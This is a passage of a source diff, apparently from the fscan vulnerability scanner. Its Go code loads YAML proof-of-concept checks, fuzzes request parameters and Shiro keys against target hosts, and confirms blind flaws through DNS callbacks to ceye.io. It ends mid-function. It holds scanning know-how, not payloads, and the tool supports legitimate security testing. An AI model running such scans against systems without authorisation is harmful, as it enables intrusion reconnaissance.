fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))),
strings.NewReader(rule.Body),
)
if err != nil {
return false, fmt.Errorf("创建新请求失败: %v", err)
}
// 设置请求头
newRequest.Header = oReq.Header.Clone()
for k, v := range Headers {
newRequest.Header.Set(k, v)
}
Headers = nil
// 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects)
newRequest = nil
if err != nil {
return false, err
}
variableMap["response"] = resp
// 执行搜索规则
if rule.Search != "" {
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
if len(result) == 0 {
return false, nil
}
for k, v := range result {
variableMap[k] = v
}
}
// 执行表达式
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
if flag, ok := out.Value().(bool); ok {
return flag, nil
}
return false, nil
}
// 处理规则组的函数
DealWithRules := func(rules []Rules) bool {
for _, rule := range rules {
flag, err := DealWithRule(rule)
if err != nil || !flag {
return false
}
}
return true
}
// 执行检测规则
success := false
if len(p.Rules) > 0 {
success = DealWithRules(p.Rules)
} else {
for _, item := range p.Groups {
name, rules := item.Key, item.Value
if success = DealWithRules(rules); success {
return true, nil, name
}
}
}
return success, nil, ""
}
// doSearch 在响应体中执行正则匹配并提取命名捕获组
func doSearch(re string, body string) map[string]string {
// 编译正则表达式
r, err := regexp.Compile(re)
if err != nil {
Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err))
return nil
}
// 执行正则匹配
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
// 处理匹配结果
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
// 特殊处理Cookie头
if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
paramsMap[name] = optimizeCookies(result[i])
} else {
paramsMap[name] = result[i]
}
}
}
return paramsMap
}
return nil
}
// optimizeCookies 优化Cookie字符串移除不必要的属性
func optimizeCookies(rawCookie string) string {
var output strings.Builder
// 解析Cookie键值对
pairs := strings.Split(rawCookie, "; ")
for _, pair := range pairs {
nameVal := strings.SplitN(pair, "=", 2)
if len(nameVal) < 2 {
continue
}
// 跳过Cookie属性
switch strings.ToLower(nameVal[0]) {
case "expires", "max-age", "path", "domain",
"version", "comment", "secure", "samesite", "httponly":
continue
}
// 构建Cookie键值对
if output.Len() > 0 {
output.WriteString("; ")
}
output.WriteString(nameVal[0])
output.WriteString("=")
output.WriteString(strings.Join(nameVal[1:], "="))
}
return output.String()
}
// newReverse 创建新的反连检测对象
func newReverse() *Reverse {
// 检查DNS日志功能是否启用
if !Common.DnsLog {
return &Reverse{}
}
// 生成随机子域名
const (
letters = "1234567890abcdefghijklmnopqrstuvwxyz"
subdomainLength = 8
)
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
subdomain := RandomStr(randSource, letters, subdomainLength)
// 构建URL
urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain)
u, err := url.Parse(urlStr)
if err != nil {
Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err))
return &Reverse{}
}
// 返回反连检测配置
return &Reverse{
Url: urlStr,
Domain: u.Hostname(),
Ip: u.Host,
IsDomainNameServer: false,
}
}
// clusterpoc 执行集群POC检测支持批量参数组合测试
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
var strMap StrMap // 存储成功的参数组合
var shiroKeyCount int // shiro key测试计数
// 遍历POC规则
for ruleIndex, rule := range p.Rules {
// 检查是否需要进行参数Fuzz测试
if !isFuzz(rule, p.Sets) {
// 不需要Fuzz,直接发送请求
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if !success {
return false, err
}
continue
}
// 生成参数组合
setsMap := Combo(p.Sets)
ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表
// 遍历参数组合
paramLoop:
for comboIndex, paramCombo := range setsMap {
// Shiro Key测试特殊处理:默认只测试10个key
if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && comboIndex >= 10 {
if paramCombo[1] == "cbc" {
continue
} else {
if shiroKeyCount == 0 {
shiroKeyCount = comboIndex
}
if comboIndex-shiroKeyCount >= 10 {
break
}
}
}
// 克隆规则以避免相互影响
currentRule := cloneRules(rule)
var hasReplacement bool
var currentParams StrMap
payloads := make(map[string]interface{})
var payloadExpr string
// 计算所有参数的实际值
for i, set := range p.Sets {
key, expr := set.Key, paramCombo[i]
if key == "payload" {
payloadExpr = expr
}
_, output := evalset1(env, variableMap, key, expr)
payloads[key] = output
}
// 替换规则中的参数
for _, set := range p.Sets {
paramReplaced := false
key := set.Key
value := fmt.Sprintf("%v", payloads[key])
// 替换Header中的参数
for headerKey, headerVal := range currentRule.Headers {
if strings.Contains(headerVal, "{{"+key+"}}") {
currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value)
paramReplaced = true
}
}
// 替换Path中的参数
if strings.Contains(currentRule.Path, "{{"+key+"}}") {
currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value)
paramReplaced = true
}
// 替换Body中的参数
if strings.Contains(currentRule.Body, "{{"+key+"}}") {
currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value)
paramReplaced = true
}
// 记录替换的参数
if paramReplaced {
hasReplacement = true
if key == "payload" {
// 处理payload的特殊情况
hasVarInPayload := false
for varKey, varVal := range variableMap {
if strings.Contains(payloadExpr, varKey) {
hasVarInPayload = true
currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)})
}
}
if hasVarInPayload {
continue
}
}
currentParams = append(currentParams, StrItem{key, value})
}
}
// 如果没有参数被替换,跳过当前组合
if !hasReplacement {
continue
}
// 规则去重
ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule)))
ruleMD5 := fmt.Sprintf("%x", ruleDigest)
if _, exists := ruleHash[ruleMD5]; exists {
continue
}
ruleHash[ruleMD5] = struct{}{}
// 发送请求并处理结果
success, err = clustersend(oReq, variableMap, req, env, currentRule)
if err != nil {
return false, err
}
if success {
// 处理成功情况
if currentRule.Continue {
// 特殊POC的输出处理
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
} else {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams))
}
continue
}
// 记录成功的参数组合
strMap = append(strMap, currentParams...)
if ruleIndex == len(p.Rules)-1 {
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
return false, nil
}
break paramLoop
}
}
if !success {
break
}
if rule.Continue {
return false, nil
}
}
return success, nil
}
// isFuzz 检查规则是否包含需要Fuzz测试的参数
func isFuzz(rule Rules, Sets ListMap) bool {
// 遍历所有参数
for _, param := range Sets {
key := param.Key
paramPattern := "{{" + key + "}}"
// 检查Headers中是否包含参数
for _, headerValue := range rule.Headers {
if strings.Contains(headerValue, paramPattern) {
return true
}
}
// 检查Path中是否包含参数
if strings.Contains(rule.Path, paramPattern) {
return true
}
// 检查Body中是否包含参数
if strings.Contains(rule.Body, paramPattern) {
return true
}
}
return false
}
// Combo 生成参数组合
func Combo(input ListMap) [][]string {
if len(input) == 0 {
return nil
}
// 处理只有一个参数的情况
if len(input) == 1 {
output := make([][]string, 0, len(input[0].Value))
for _, value := range input[0].Value {
output = append(output, []string{value})
}
return output
}
// 递归处理多个参数的情况
subCombos := Combo(input[1:])
return MakeData(subCombos, input[0].Value)
}
// MakeData 将新的参数值与已有的组合进行组合
func MakeData(base [][]string, nextData []string) [][]string {
// 预分配足够的空间
output := make([][]string, 0, len(base)*len(nextData))
// 遍历已有组合和新参数值
for _, existingCombo := range base {
for _, newValue := range nextData {
// 创建新组合
newCombo := make([]string, 0, len(existingCombo)+1)
newCombo = append(newCombo, newValue)
newCombo = append(newCombo, existingCombo...)
output = append(output, newCombo)
}
}
return output
}
// clustersend 执行单个规则的HTTP请求和响应检测
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
// 替换请求中的变量
for varName, varValue := range variableMap {
// 跳过map类型的变量
if _, isMap := varValue.(map[string]string); isMap {
continue
}
strValue := fmt.Sprintf("%v", varValue)
varPattern := "{{" + varName + "}}"
// 替换Headers中的变量
for headerKey, headerValue := range rule.Headers {
if strings.Contains(headerValue, varPattern) {
rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue)
}
}
// 替换Path和Body中的变量
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue)
}
// 构建完整请求路径
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// URL编码处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
// 创建新的HTTP请求
reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body))
if err != nil {
return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err)
}
defer func() { newRequest = nil }() // 及时释放资源
// 设置请求头
newRequest.Header = oReq.Header.Clone()
for key, value := range rule.Headers {
newRequest.Header.Set(key, value)
}
// 发送请求
resp, err := DoRequest(newRequest, rule.FollowRedirects)
if err != nil {
return false, fmt.Errorf("[-] 发送请求失败: %v", err)
}
// 更新响应到变量映射
variableMap["response"] = resp
// 执行搜索规则
if rule.Search != "" {
searchContent := GetHeader(resp.Headers) + string(resp.Body)
result := doSearch(rule.Search, searchContent)
if result != nil && len(result) > 0 {
// 将搜索结果添加到变量映射
for key, value := range result {
variableMap[key] = value
}
} else {
return false, nil
}
}
// 执行CEL表达式
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
if strings.Contains(err.Error(), "Syntax error") {
Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err))
}
return false, err
}
// 检查表达式执行结果
if fmt.Sprintf("%v", out) == "false" {
return false, nil
}
return true, nil
}
// cloneRules 深度复制Rules结构体
// 参数:
// - tags: 原始Rules结构体
// 返回: 复制后的新Rules结构体
func cloneRules(tags Rules) Rules {
return Rules{
Method: tags.Method,
Path: tags.Path,
Body: tags.Body,
Search: tags.Search,
FollowRedirects: tags.FollowRedirects,
Expression: tags.Expression,
Headers: cloneMap(tags.Headers),
}
}
// cloneMap 深度复制字符串映射
func cloneMap(tags map[string]string) map[string]string {
cloneTags := make(map[string]string, len(tags))
for key, value := range tags {
cloneTags[key] = value
}
return cloneTags
}
// evalset 执行CEL表达式并处理特殊类型结果
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
return err, expression
}
// 根据不同类型处理输出
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
return nil, fmt.Sprintf("%v", variableMap[k])
}
// evalset1 执行CEL表达式的简化版本
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
}
return err, fmt.Sprintf("%v", variableMap[k])
}
// CheckInfoPoc 检查POC信息并返回别名
func CheckInfoPoc(infostr string) string {
for _, poc := range info.PocDatas {
if strings.Contains(infostr, poc.Name) {
return poc.Alias
}
}
return ""
}
// GetHeader 将HTTP头转换为字符串格式
func GetHeader(header map[string]string) string {
var builder strings.Builder
for name, values := range header {
builder.WriteString(fmt.Sprintf("%s: %s\n", name, values))
}
builder.WriteString("\r\n")
return builder.String()
}

318
WebScan/lib/Client.go Normal file
View File

@ -0,0 +1,318 @@
package lib
import (
"context"
"crypto/tls"
"embed"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/proxy"
"gopkg.in/yaml.v2"
"net"
"net/http"
"net/url"
"os"
"strings"
"time"
)
// 全局HTTP客户端变量
var (
Client *http.Client // 标准HTTP客户端
ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端
dialTimout = 5 * time.Second // 连接超时时间
keepAlive = 5 * time.Second // 连接保持时间
)
// Inithttp 初始化HTTP客户端配置
func Inithttp() {
// 设置默认并发数
if Common.PocNum == 0 {
Common.PocNum = 20
}
// 设置默认超时时间
if Common.WebTimeout == 0 {
Common.WebTimeout = 5
}
// 初始化HTTP客户端
err := InitHttpClient(Common.PocNum, Common.Proxy, time.Duration(Common.WebTimeout)*time.Second)
if err != nil {
panic(err)
}
}
// InitHttpClient 创建HTTP客户端
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
// 配置基础连接参数
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
// 配置Transport参数
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 5,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
// 配置Socks5代理
if Common.Socks5Proxy != "" {
dialSocksProxy, err := Common.Socks5Dialer(dialer)
if err != nil {
return err
}
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
tr.DialContext = contextDialer.DialContext
} else {
return errors.New("无法转换为DialContext类型")
}
} else if DownProxy != "" {
// 处理其他代理配置
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if DownProxy == "2" {
DownProxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
// 验证代理类型
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
return errors.New("不支持的代理类型")
}
// 解析代理URL
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
// 创建标准HTTP客户端
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
// 创建不跟随重定向的HTTP客户端
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
}
return nil
}
// Poc 定义漏洞检测配置结构
type Poc struct {
Name string `yaml:"name"` // POC名称
Set StrMap `yaml:"set"` // 单值配置映射
Sets ListMap `yaml:"sets"` // 列表值配置映射
Rules []Rules `yaml:"rules"` // 检测规则列表
Groups RuleMap `yaml:"groups"` // 规则组映射
Detail Detail `yaml:"detail"` // 漏洞详情
}
// MapSlice 用于解析YAML的通用映射类型
type MapSlice = yaml.MapSlice
// 自定义映射类型
type (
StrMap []StrItem // 字符串键值对映射
ListMap []ListItem // 字符串键列表值映射
RuleMap []RuleItem // 字符串键规则列表映射
)
// 映射项结构定义
type (
// StrItem 字符串键值对
StrItem struct {
Key string // 键名
Value string // 值
}
// ListItem 字符串键列表值对
ListItem struct {
Key string // 键名
Value []string // 值列表
}
// RuleItem 字符串键规则列表对
RuleItem struct {
Key string // 键名
Value []Rules // 规则列表
}
)
// UnmarshalYAML 实现StrMap的YAML解析接口
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 临时使用MapSlice存储解析结果
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
// 转换为StrMap结构
for _, one := range tmp {
key, value := one.Key.(string), one.Value.(string)
*r = append(*r, StrItem{key, value})
}
return nil
}
// UnmarshalYAML 实现RuleMap的YAML解析接口
// 参数:
// - unmarshal: YAML解析函数
//
// 返回:
// - error: 解析错误
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 使用MapSlice保持键的顺序
var tmp1 yaml.MapSlice
if err := unmarshal(&tmp1); err != nil {
return err
}
// 解析规则内容
var tmp = make(map[string][]Rules)
if err := unmarshal(&tmp); err != nil {
return err
}
// 按顺序转换为RuleMap结构
for _, one := range tmp1 {
key := one.Key.(string)
value := tmp[key]
*r = append(*r, RuleItem{key, value})
}
return nil
}
// UnmarshalYAML 实现ListMap的YAML解析接口
// 参数:
// - unmarshal: YAML解析函数
//
// 返回:
// - error: 解析错误
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
// 解析YAML映射
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
// 转换为ListMap结构
for _, one := range tmp {
key := one.Key.(string)
var value []string
// 将接口类型转换为字符串
for _, val := range one.Value.([]interface{}) {
v := fmt.Sprintf("%v", val)
value = append(value, v)
}
*r = append(*r, ListItem{key, value})
}
return nil
}
// Rules 定义POC检测规则结构
type Rules struct {
Method string `yaml:"method"` // HTTP请求方法
Path string `yaml:"path"` // 请求路径
Headers map[string]string `yaml:"headers"` // 请求头
Body string `yaml:"body"` // 请求体
Search string `yaml:"search"` // 搜索模式
FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向
Expression string `yaml:"expression"` // 匹配表达式
Continue bool `yaml:"continue"` // 是否继续执行
}
// Detail 定义POC详情结构
type Detail struct {
Author string `yaml:"author"` // POC作者
Links []string `yaml:"links"` // 相关链接
Description string `yaml:"description"` // POC描述
Version string `yaml:"version"` // POC版本
}
// LoadMultiPoc 加载多个POC文件
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
// 遍历选中的POC文件
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := LoadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
} else {
fmt.Printf("[-] POC加载失败 %s: %v\n", f, err)
}
}
return pocs
}
// LoadPoc 从内嵌文件系统加载单个POC
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
// 读取POC文件内容
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err)
return nil, err
}
// 解析YAML内容
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err)
return nil, err
}
return p, err
}
// SelectPoc 根据名称关键字选择POC文件
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Printf("[-] 读取POC目录失败: %v\n", err)
}
var foundFiles []string
// 查找匹配关键字的POC文件
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
// LoadPocbyPath 从文件系统路径加载POC
func LoadPocbyPath(fileName string) (*Poc, error) {
p := &Poc{}
// 读取POC文件内容
data, err := os.ReadFile(fileName)
if err != nil {
fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err)
return nil, err
}
// 解析YAML内容
err = yaml.Unmarshal(data, p)
if err != nil {
fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err)
return nil, err
}
return p, err
}

View File

@ -12,7 +12,7 @@ import (
"github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types"
"github.com/google/cel-go/common/types/ref" "github.com/google/cel-go/common/types/ref"
"github.com/google/cel-go/interpreter/functions" "github.com/google/cel-go/interpreter/functions"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/Common"
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
"io" "io"
"math/rand" "math/rand"
@ -24,68 +24,86 @@ import (
"time" "time"
) )
// NewEnv 创建一个新的 CEL 环境
func NewEnv(c *CustomLib) (*cel.Env, error) { func NewEnv(c *CustomLib) (*cel.Env, error) {
return cel.NewEnv(cel.Lib(c)) return cel.NewEnv(cel.Lib(c))
} }
// Evaluate 评估 CEL 表达式
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) { func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
// 空表达式默认返回 true
if expression == "" { if expression == "" {
return types.Bool(true), nil return types.Bool(true), nil
} }
ast, iss := env.Compile(expression)
if iss.Err() != nil { // 编译表达式
//fmt.Printf("compile: ", iss.Err()) ast, issues := env.Compile(expression)
return nil, iss.Err() if issues.Err() != nil {
return nil, fmt.Errorf("表达式编译错误: %w", issues.Err())
} }
prg, err := env.Program(ast) // 创建程序
program, err := env.Program(ast)
if err != nil { if err != nil {
//fmt.Printf("Program creation error: %v", err) return nil, fmt.Errorf("程序创建错误: %w", err)
return nil, err
} }
out, _, err := prg.Eval(params) // 执行评估
result, _, err := program.Eval(params)
if err != nil { if err != nil {
//fmt.Printf("Evaluation error: %v", err) return nil, fmt.Errorf("表达式评估错误: %w", err)
return nil, err
} }
return out, nil
return result, nil
} }
// UrlTypeToString 将 URL 结构体转换为字符串
func UrlTypeToString(u *UrlType) string { func UrlTypeToString(u *UrlType) string {
var buf strings.Builder var builder strings.Builder
// 处理 scheme 部分
if u.Scheme != "" { if u.Scheme != "" {
buf.WriteString(u.Scheme) builder.WriteString(u.Scheme)
buf.WriteByte(':') builder.WriteByte(':')
} }
// 处理 host 部分
if u.Scheme != "" || u.Host != "" { if u.Scheme != "" || u.Host != "" {
if u.Host != "" || u.Path != "" { if u.Host != "" || u.Path != "" {
buf.WriteString("//") builder.WriteString("//")
} }
if h := u.Host; h != "" { if host := u.Host; host != "" {
buf.WriteString(u.Host) builder.WriteString(host)
} }
} }
// 处理 path 部分
path := u.Path path := u.Path
if path != "" && path[0] != '/' && u.Host != "" { if path != "" && path[0] != '/' && u.Host != "" {
buf.WriteByte('/') builder.WriteByte('/')
} }
if buf.Len() == 0 {
// 处理相对路径
if builder.Len() == 0 {
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 { if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
buf.WriteString("./") builder.WriteString("./")
} }
} }
buf.WriteString(path) builder.WriteString(path)
// 处理查询参数
if u.Query != "" { if u.Query != "" {
buf.WriteByte('?') builder.WriteByte('?')
buf.WriteString(u.Query) builder.WriteString(u.Query)
} }
// 处理片段标识符
if u.Fragment != "" { if u.Fragment != "" {
buf.WriteByte('#') builder.WriteByte('#')
buf.WriteString(u.Fragment) builder.WriteString(u.Fragment)
} }
return buf.String()
return builder.String()
} }
type CustomLib struct { type CustomLib struct {
@ -519,179 +537,259 @@ func NewEnvOption() CustomLib {
return c return c
} }
// 声明环境中的变量类型和函数 // CompileOptions 返回环境编译选项
func (c *CustomLib) CompileOptions() []cel.EnvOption { func (c *CustomLib) CompileOptions() []cel.EnvOption {
return c.envOptions return c.envOptions
} }
// ProgramOptions 返回程序运行选项
func (c *CustomLib) ProgramOptions() []cel.ProgramOption { func (c *CustomLib) ProgramOptions() []cel.ProgramOption {
return c.programOptions return c.programOptions
} }
// UpdateCompileOptions 更新编译选项,处理不同类型的变量声明
func (c *CustomLib) UpdateCompileOptions(args StrMap) { func (c *CustomLib) UpdateCompileOptions(args StrMap) {
for _, item := range args { for _, item := range args {
k, v := item.Key, item.Value key, value := item.Key, item.Value
// 在执行之前是不知道变量的类型的,所以统一声明为字符型
// 所以randomInt虽然返回的是int型在运算中却被当作字符型进行计算需要重载string_*_string // 根据函数前缀确定变量类型
var d *exprpb.Decl var declaration *exprpb.Decl
if strings.HasPrefix(v, "randomInt") { switch {
d = decls.NewIdent(k, decls.Int, nil) case strings.HasPrefix(value, "randomInt"):
} else if strings.HasPrefix(v, "newReverse") { // randomInt 函数返回整型
d = decls.NewIdent(k, decls.NewObjectType("lib.Reverse"), nil) declaration = decls.NewIdent(key, decls.Int, nil)
} else { case strings.HasPrefix(value, "newReverse"):
d = decls.NewIdent(k, decls.String, nil) // newReverse 函数返回 Reverse 对象
declaration = decls.NewIdent(key, decls.NewObjectType("lib.Reverse"), nil)
default:
// 默认声明为字符串类型
declaration = decls.NewIdent(key, decls.String, nil)
} }
c.envOptions = append(c.envOptions, cel.Declarations(d))
c.envOptions = append(c.envOptions, cel.Declarations(declaration))
} }
} }
// 初始化随机数生成器
var randSource = rand.New(rand.NewSource(time.Now().Unix())) var randSource = rand.New(rand.NewSource(time.Now().Unix()))
// randomLowercase 生成指定长度的小写字母随机字符串
func randomLowercase(n int) string { func randomLowercase(n int) string {
lowercase := "abcdefghijklmnopqrstuvwxyz" const lowercase = "abcdefghijklmnopqrstuvwxyz"
return RandomStr(randSource, lowercase, n) return RandomStr(randSource, lowercase, n)
} }
// randomUppercase 生成指定长度的大写字母随机字符串
func randomUppercase(n int) string { func randomUppercase(n int) string {
uppercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ" const uppercase = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
return RandomStr(randSource, uppercase, n) return RandomStr(randSource, uppercase, n)
} }
// randomString 生成指定长度的随机字符串(包含大小写字母和数字)
func randomString(n int) string { func randomString(n int) string {
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return RandomStr(randSource, charset, n) return RandomStr(randSource, charset, n)
} }
// reverseCheck 检查 DNS 记录是否存在
func reverseCheck(r *Reverse, timeout int64) bool { func reverseCheck(r *Reverse, timeout int64) bool {
if ceyeApi == "" || r.Domain == "" || !common.DnsLog { // 检查必要条件
if ceyeApi == "" || r.Domain == "" || !Common.DnsLog {
return false return false
} }
// 等待指定时间
time.Sleep(time.Second * time.Duration(timeout)) time.Sleep(time.Second * time.Duration(timeout))
// 提取子域名
sub := strings.Split(r.Domain, ".")[0] sub := strings.Split(r.Domain, ".")[0]
urlStr := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s", ceyeApi, sub)
//fmt.Println(urlStr) // 构造 API 请求 URL
req, _ := http.NewRequest("GET", urlStr, nil) apiURL := fmt.Sprintf("http://api.ceye.io/v1/records?token=%s&type=dns&filter=%s",
ceyeApi, sub)
// 创建并发送请求
req, _ := http.NewRequest("GET", apiURL, nil)
resp, err := DoRequest(req, false) resp, err := DoRequest(req, false)
if err != nil { if err != nil {
return false return false
} }
if !bytes.Contains(resp.Body, []byte(`"data": []`)) && bytes.Contains(resp.Body, []byte(`"message": "OK"`)) { // api返回结果不为空 // 检查响应内容
fmt.Println(urlStr) hasData := !bytes.Contains(resp.Body, []byte(`"data": []`))
isOK := bytes.Contains(resp.Body, []byte(`"message": "OK"`))
if hasData && isOK {
fmt.Println(apiURL)
return true return true
} }
return false return false
} }
// RandomStr 生成指定长度的随机字符串
func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
const ( const (
letterIdxBits = 6 // 6 bits to represent a letter index // 用 6 位比特表示一个字母索引
letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits letterIdxBits = 6
letterIdxMax = 63 / letterIdxBits // # of letter indices fitting in 63 bits // 生成掩码000111111
//letterBytes = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" letterIdxMask = 1<<letterIdxBits - 1
// 63 位能存储的字母索引数量
letterIdxMax = 63 / letterIdxBits
) )
// 预分配结果数组
randBytes := make([]byte, n) randBytes := make([]byte, n)
// 使用位操作生成随机字符串
for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; { for i, cache, remain := n-1, randSource.Int63(), letterIdxMax; i >= 0; {
// 当可用的随机位用完时,重新获取随机数
if remain == 0 { if remain == 0 {
cache, remain = randSource.Int63(), letterIdxMax cache, remain = randSource.Int63(), letterIdxMax
} }
// 获取字符集中的随机索引
if idx := int(cache & letterIdxMask); idx < len(letterBytes) { if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
randBytes[i] = letterBytes[idx] randBytes[i] = letterBytes[idx]
i-- i--
} }
// 右移已使用的位,更新计数器
cache >>= letterIdxBits cache >>= letterIdxBits
remain-- remain--
} }
return string(randBytes) return string(randBytes)
} }
// DoRequest 执行 HTTP 请求
func DoRequest(req *http.Request, redirect bool) (*Response, error) { func DoRequest(req *http.Request, redirect bool) (*Response, error) {
if req.Body == nil || req.Body == http.NoBody { // 处理请求头
} else { if req.Body != nil && req.Body != http.NoBody {
// 设置 Content-Length
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength))) req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
// 如果未指定 Content-Type设置默认值
if req.Header.Get("Content-Type") == "" { if req.Header.Get("Content-Type") == "" {
req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
} }
} }
var oResp *http.Response
var err error // 执行请求
var (
oResp *http.Response
err error
)
if redirect { if redirect {
oResp, err = Client.Do(req) oResp, err = Client.Do(req)
} else { } else {
oResp, err = ClientNoRedirect.Do(req) oResp, err = ClientNoRedirect.Do(req)
} }
if err != nil { if err != nil {
